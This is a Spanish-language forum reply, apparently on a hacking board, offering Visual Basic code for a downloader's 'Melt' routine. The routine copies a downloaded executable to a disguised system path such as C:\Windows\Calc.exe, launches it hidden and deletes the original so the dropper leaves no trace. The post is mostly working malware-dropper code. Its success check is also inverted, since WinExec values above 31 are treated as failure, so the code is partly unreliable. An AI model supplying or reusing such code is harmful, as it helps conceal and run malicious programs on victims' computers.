La funcion MELT la deberia llevar programada ya el archivo a descargar y cuando lo ejecutes se autoborrara sino tambien puedes hacer que el downloader haga la tarea.
Te pongo un codigo en VB:
Private Declare Function CopyFileA Lib "Kernel32" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function DeleteFileA Lib "Kernel32" (ByVal lpFileName As String) As Long
Private Declare Function WinExec Lib "Kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Function Melt(ByVal sEXEPath As String, byval sNewPath as string) As Boolean
dim lRet as long
If sNewPath <> sEXEPath Then
lRet = CopyFileA(sEXEPath, sNewPath, False)
If lRet = 0 Then Melt = False: Exit Function
End If
'//Esta funcion se usa teniendo en cuenta que el archivos que se va a iniciar es una aplicacion,
'//para archivos de texto o fotos o otra cosa es "ShellExecute".
lRet = WinExec(sNewPath, 0&) '//0&= Seria el tipo de inicio (0=Oculto, 1=Normal...)
If lRet > 31 Then Melt = False: Exit Function
lRet= DeleteFileA (sEXEPath)
If lRet = 0 Then Melt = False: Exit Function
Melt = True
End Function
El funcionamiento es el siguiente:
El programa copia el archivo descargado (sEXEPath) en la ruta donde la indiques, la ruta completa (sNewPath) con el nombre del nuevo archivo tambien ejemplo: C:\Windows\Calc.exe, y despues lo ejecuta desde alli y borra el archivo descargado. Esto se haria de otra manera si se implementa en el codigo del archivo a bajar y no en el downloader.
Espero que te sirva!!!